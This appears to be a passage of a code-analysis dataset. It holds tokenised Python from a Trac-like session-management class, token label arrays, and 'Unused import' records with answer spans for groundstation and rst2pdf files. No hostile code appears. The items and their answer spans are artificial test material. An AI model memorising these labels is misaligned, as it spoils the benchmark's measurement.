"(_", "self_", ",_", "key_", ",_", "unicode_", "(_", "value_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Detach", "ed", "Session_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "as", "\\u", "bool_", "(_", "self_", ",_", "key_", ",_", "default_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "the", " ", "value", " ", "as", " ", "a", " ", "boolean", ".", " ", "Return", " ", "`", "default", "`", " ", "if", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "an", " ", "exception", " ", "is", " ", "raise", "d", " ", "whi", "le", " ", "convert", "ing", " ", "the", " ", "value", " ", "to", " ", "a", "\\", "10", ";", " ", " ", " ", " ", "boolean", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "key", ":", " ", "the", " ", "name", " ", "of", " ", "the", " ", "session", " ", "attribute", "\\", "10", ";", " ", " ", " ", " ", ":", "keyw", "ord", " ", "default", ":", " ", "the", " ", "value", " ", "to", " ", "return", " ", "if", " ", "the", " ", "parameter", " ", "is", " ", "not", "\\", "10", ";", " ", " ", " ", " ", "specified", " ", "or", " ", "an", " ", "exception", " ", "occur", "s", " ", "convert", "ing", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "value", " ", "to", " ", "a", " ", "boolean", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "sinc", "e", ":", " ", "1.2", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "key_", "not_", "in_", "self_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "default_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "as", "\\u", "bool_", "(_", "self_", "[_", "key_", "]_", ",_", "default_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Detach", "ed", "Session_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "as", "\\u", "int_", "(_", "self_", ",_", "key_", ",_", "default_", "=_", "None_", ",_", "min_", "=_", "None_", ",_", "max_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "the", " ", "value", " ", "as", " ", "an", " ", "integ", "er", ".", " ", "Return", " ", "`", "default", "`", " ", "if", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "an", " ", "exception", " ", "is", " ", "raise", "d", " ", "whi", "le", " ", "convert", "ing", " ", "the", " ", "value", " ", "to", " ", "an", "\\", "10", ";", " ", " ", " ", " ", "integ", "er", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "key", ":", " ", "the", " ", "name", " ", "of", " ", "the", " ", "session", " ", "attribute", "\\", "10", ";", " ", " ", " ", " ", ":", "keyw", "ord", " ", "default", ":", " ", "the", " ", "value", " ", "to", " ", "return", " ", "if", " ", "the", " ", "parameter", " ", "is", " ", "not", "\\", "10", ";", " ", " ", " ", " ", "specified", " ", "or", " ", "an", " ", "exception", " ", "occur", "s", " ", "convert", "ing", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "value", " ", "to", " ", "an", " ", "integ", "er", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "keyw", "ord", " ", "min", ":", " ", "lower", " ", "bound", " ", "to", " ", "whi", "ch", " ", "the", " ", "value", " ", "is", " ", "limited", "\\", "10", ";", " ", " ", " ", " ", ":", "keyw", "ord", " ", "max", ":", " ", "upper", " ", "bound", " ", "to", " ", "whi", "ch", " ", "the", " ", "value", " ", "is", " ", "limited", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "sinc", "e", ":", " ", "1.2", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "key_", "not_", "in_", "self_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "default_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "as", "\\u", "int_", "(_", "self_", "[_", "key_", "]_", ",_", "default_", ",_", "min_", ",_", "max_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Detach", "ed", "Session_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set_", "(_", "self_", ",_", "key_", ",_", "value_", ",_", "default_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Set", " ", "a", " ", "variab", "le", " ", "in", " ", "the", " ", "session", ",", " ", "or", " ", "remove", " ", "it", " ", "if", " ", "it", "'", "s", " ", "equal", " ", "to", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "default", " ", "value", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "unicode_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "default_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "default_", "=_", "unicode_", "(_", "default_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "value_", "==_", "default_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "pop_", "(_", "key_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dict_", "._", "\\u\\u", "setitem\\u\\u_", "(_", "self_", ",_", "key_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Detach", "ed", "Session_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "session_", "(_", "self_", ",_", "sid_", ",_", "authenticated_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "env_", "._", "log_", "._", "debug_", "(_", "\"", "Retriev", "ing", " ", "session", " ", "for", " ", "ID", " ", "%", "r", "\"_", ",_", "sid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "self_", "._", "env_", "._", "db", "\\u", "query_", "as_", "db_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "sid_", "=_", "sid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "authenticated_", "=_", "authenticated_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "last", "\\u", "visit_", ",_", "in_", "db_", "(_", "\"\"\"", "\\", "10", ";", " ", " ", "SELECT", " ", "last", "\\u", "visit", " ", "FROM", " ", "session", "\\", "10", ";", " ", " ", "WHE", "RE", " ", "sid", "=", "%", "s", " ", "AND", " ", "authenticat", "ed", "=", "%", "s", "\\", "10", ";", " ", " ", "\"\"\"_", ",_", "(_", "sid_", ",_", "int_", "(_", "authenticated_", ")_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "new_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "last", "\\u", "visit_", "=_", "int_", "(_", "last", "\\u", "visit_", "or_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "update_", "(_", "db_", "(_", "\"\"\"", "\\", "10", ";", " ", " ", "SELECT", " ", "name", ",", " ", "value", " ", "FROM", " ", "session", "\\u", "attribute", "\\", "10", ";", " ", " ", "WHE", "RE", " ", "sid", "=", "%", "s", " ", "and", " ", "authenticat", "ed", "=", "%", "s", "\\", "10", ";", " ", " ", "\"\"\"_", ",_", "(_", "sid_", ",_", "int_", "(_", "authenticated_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "old_", "=_", "self_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "last", "\\u", "visit_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "new_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "old_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Detach", "ed", "Session_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "items_", "=_", "self_", "._", "items_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "self_", "._", "\\u", "old_", "and_", "not_", "items_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "session", " ", "doe", "sn", "'", "t", " ", "have", " ", "associate", "d", " ", "data", ",", " ", "so", " ", "there", "'", "s", " ", "no", " ", "need", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "persist", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "authenticated_", "=_", "int_", "(_", "self_", "._", "authenticated_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "now_", "=_", "int_", "(_", "time", "\\u", "now_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "can", "'", "t", " ", "do", " ", "the", " ", "session", " ", "manage", "ment", " ", "in", " ", "one", " ", "big", " ", "transaction", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "as", " ", "the", " ", "inter", "twin", "ed", " ", "change", "s", " ", "to", " ", "bot", "h", " ", "the", " ", "session", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "session", "\\u", "attribute", " ", "tables", " ", "are", " ", "pron", "e", " ", "to", " ", "deadl", "ock", "s", " ", "(", "#", "970", "5", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "There", "fore", " ", "we", " ", "first", " ", "we", " ", "save", " ", "the", " ", "current", " ", "session", ",", " ", "then", " ", "we", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "eventual", "ly", " ", "pur", "ge", " ", "the", " ", "tables", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "session", "\\u", "saved_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "self_", "._", "env_", "._", "db", "\\u", "transaction_", "as_", "db_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Tr", "y", " ", "to", " ", "save", " ", "the", " ", "session", " ", "if", " ", "it", "'", "s", " ", "a", " ", "new", " ", "one", ".", " ", "A", " ", "fail", "ure", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "do", " ", "so", " ", "is", " ", "not", " ", "critic", "al", " ", "but", " ", "we", " ", "neve", "rt", "hel", "ess", " ", "skip", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "follow", "ing", " ", "step", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "new_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "last", "\\u", "visit_", "=_", "now_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "new_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "session", " ", "mig", "ht", " ", "alr", "ead", "y", " ", "exist", " ", "even", " ", "if", " ", "\\u", "new", " ", "is", " ", "Tru", "e", " ", "since_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "it", " ", "coul", "d", " ", "have", " ", "bee", "n", " ", "created", " ", "by", " ", "a", " ", "concurrent", " ", "request", " ", "(", "#", "356", "3", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "db_", "(_", "\"\"\"", "INSERT", " ", "INT", "O", " ", "session", " ", "(", "sid", ",", " ", "last", "\\u", "visit", ",", " ", "authenticat", "ed", ")", "\\", "10", ";", " ", " ", " ", " ", "VALU", "ES", " ", "(%", "s", ",%", "s", ",%", "s", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", ",_", "(_", "self_", "._", "sid_", ",_", "self_", "._", "last", "\\u", "visit_", ",_", "authenticated_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "self_", "._", "env_", "._", "db", "\\u", "exc_", "._", "Int", "egr", "it", "y", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "env_", "._", "log_", "._", "warning_", "(_", "'", "Sess", "ion", " ", "%", "s", " ", "alr", "ead", "y", " ", "exist", "s", "'_", ",_", "self_", "._", "sid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "rollback_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Remove", " ", "former", " ", "values", " ", "for", " ", "session", "\\u", "attribute", " ", "and", " ", "save", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "new", " ", "ones", ".", " ", "The", " ", "last", " ", "concurrent", " ", "request", " ", "to", " ", "do", " ", "so", " ", "\"", "wins", "\".", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "\\u", "old_", "!=_", "self_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "old_", "._", "get_", "(_", "'", "name", "'_", ")_", "!=_", "self_", "._", "get_", "(_", "'", "name", "'_", ")_", "or_", "self_", "._", "\\u", "old_", "._", "get_", "(_", "'", "email", "'_", ")_", "!=_", "self_", "._", "get_", "(_", "'", "email", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "env_", "._", "invalidate", "\\u", "know", "n", "\\u", "users", "\\u", "cache_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "items_", "and_", "not_", "authenticated_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "No", " ", "need", " ", "to", " ", "keep", " ", "aro", "und", " ", "empty", " ", "unau", "then", "tica", "ted", " ", "sessions_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "db_", "(_", "\"", "DELET", "E", " ", "FROM", " ", "session", " ", "WHE", "RE", " ", "sid", "=", "%", "s", " ", "AND", " ", "authenticat", "ed", "=", "0", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "self_", "._", "sid_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "db_", "(_", "\"\"\"", "DELET", "E", " ", "FROM", " ", "session", "\\u", "attribute", "\\", "10", ";", " ", " ", " ", " ", "WHE", "RE", " ", "sid", "=", "%", "s", " ", "AND", " ", "authenticat", "ed", "=", "%", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", ",_", "(_", "self_", "._", "sid_", ",_", "authenticated_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "old_", "=_", "dict_", "(_", "self_", "._", "items_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "session", " ", "variab", "les", " ", "mig", "ht", " ", "alr", "ead", "y", " ", "have", " ", "bee", "n", " ", "update", "d", " ", "by", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "concurrent", " ", "request", "._", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "db_", "._", "executemany", "_", "(_", "\"\"\"", "\\", "10", ";", " ", " ", "INSERT", " ", "INT", "O", " ", "session", "\\u", "attribute", "\\", "10", ";", " ", " ", " ", " ", "(", "sid", ",", "authenticat", "ed", ",", "name", ",", "value", ")", "\\", "10", ";", " ", " ", "VALU", "ES", " ", "(%", "s", ",%", "s", ",%", "s", ",%", "s", ")", "\\", "10", ";", " ", " ", "\"\"\"_", ",_", "[_", "(_", "self_", "._", "sid_", ",_", "authenticated_", ",_", "k_", ",_", "v_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "items_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "self_", "._", "env_", "._", "db", "\\u", "exc_", "._", "Int", "egr", "it", "y", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "env_", "._", "log_", "._", "warning_", "(_", "'", "Attribute", "s", " ", "for", " ", "session", " ", "%", "s", " ", "alr", "ead", "y", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "d", "'_", ",_", "self_", "._", "sid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "rollback_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "session", "\\u", "saved_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Purg", "e", " ", "expir", "ed", " ", "session", "s", ".", " ", "We", " ", "do", " ", "this", " ", "only", " ", "whe", "n", " ", "the", " ", "session", " ", "was", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "change", "d", " ", "as", " ", "to", " ", "minimize", " ", "the", " ", "pur", "ging", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "session", "\\u", "saved_", "and_", "now_", "-_", "self_", "._", "last", "\\u", "visit_", ">_", "UPDATE", "\\u", "INTERVAL_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "last", "\\u", "visit_", "=_", "now_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mint", "ime_", "=_", "now_", "-_", "PUR", "GE", "\\u", "AGE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "self_", "._", "env_", "._", "db", "\\u", "transaction_", "as_", "db_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Update", " ", "the", " ", "session", " ", "last", " ", "visit", " ", "time", " ", "if", " ", "it", " ", "is", " ", "over", " ", "an_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "hour", " ", "old", ",", " ", "so", " ", "tha", "t", " ", "session", " ", "doe", "sn", "'", "t", " ", "get", " ", "pur", "ged_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "env_", "._", "log_", "._", "info_", "(_", "\"", "Refr", "esh", "ing", " ", "session", " ", "%", "s", "\"_", ",_", "self_", "._", "sid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "(_", "\"\"\"", "UPDATE", " ", "session", " ", "SET", " ", "last", "\\u", "visit", "=", "%", "s", "\\", "10", ";", " ", " ", " ", " ", "WHE", "RE", " ", "sid", "=", "%", "s", " ", "AND", " ", "authenticat", "ed", "=", "%", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", ",_", "(_", "self_", "._", "last", "\\u", "visit_", ",_", "self_", "._", "sid_", ",_", "authenticated_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "env_", "._", "log_", "._", "debug_", "(_", "'", "Purg", "ing", " ", "old", ",", " ", "expir", "ed", ",", " ", "session", "s", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "(_", "\"\"\"", "DELET", "E", " ", "FROM", " ", "session", "\\u", "attribute", "\\", "10", ";", " ", " ", " ", " ", "WHE", "RE", " ", "authenticat", "ed", "=", "0", " ", "AND", " ", "sid", " ", "IN", " ", "(", "\\", "10", ";", " ", " ", " ", " ", "SELECT", " ", "sid", " ", "FROM", " ", "session", "\\", "10", ";", " ", " ", " ", " ", "WHE", "RE", " ", "authenticat", "ed", "=", "0", " ", "AND", " ", "last", "\\u", "visit", " ", "<", " ", "%", "s", "\\", "10", ";", " ", " ", " ", " ", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", ",_", "(_", "mint", "ime_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Av", "oid", " ", "holding", " ", "lock", "s", " ", "on", " ", "lot", " ", "of", " ", "rows", " ", "on", " ", "bot", "h", " ", "session", "\\u", "attribute_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "session", " ", "tables_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "self_", "._", "env_", "._", "db", "\\u", "transaction_", "as_", "db_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "(_", "\"\"\"", "\\", "10", ";", " ", " ", "DELET", "E", " ", "FROM", " ", "session", "\\", "10", ";", " ", " ", "WHE", "RE", " ", "authenticat", "ed", "=", "0", " ", "AND", " ", "last", "\\u", "visit", " ", "<", " ", "%", "s", "\\", "10", ";", " ", " ", "\"\"\"_", ",_", "(_", "mint", "ime_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 2, 2, 2, 3, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 2, 2, 2, 3, 1, 1, 1, 1, 2, 2, 2, 3, 1, 1, 1, 2, 2, 2, 3, 1, 1, 1, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
richo/groundstation/groundstation/__init__.py
[ { "content": "import logger\nimport settings\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import logger", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 13 }, { "span": "import settings", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 15 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "logger_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "settings_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 2, 0, 1 ]
Unused import
rst2pdf/rst2pdf/rst2pdf/utils.py
[ { "content": "# -*- coding: utf-8 -*-\n# See LICENSE.txt for licensing terms\n#$URL$\n#$Date$\n#$Revision$\n\nimport shlex\n\nfrom flowables import *\nimport rst2pdf.flowables\nfrom styles import adjustUnits\nfrom log import log, nodeid\n\n\nfrom reportlab.lib.colors import Color, CMYKColor, getAllNamedColors, toColor, \\\n HexColor\n\nHAS_XHTML2PDF = True\ntry:\n from xhtml2pdf.util import COLOR_BY_NAME\n from xhtml2pdf.util import memoized\n from xhtml2pdf.context import pisaContext\n from xhtml2pdf.default import DEFAULT_CSS\n from xhtml2pdf.parser import pisaParser,pisaGetAttributes\n from xhtml2pdf.document import pisaStory\n from reportlab.platypus.flowables import Spacer\n from reportlab.platypus.frames import Frame\n from xhtml2pdf.xhtml2pdf_reportlab import PmlBaseDoc, PmlPageTemplate\n from xhtml2pdf.util import pisaTempFile, getBox, pyPdf\n import xhtml2pdf.parser as pisa_parser\nexcept ImportError:\n try:\n from sx.pisa3.pisa_util import COLOR_BY_NAME\n memoized = lambda *a: a\n from sx.pisa3.pisa_context import pisaContext\n from 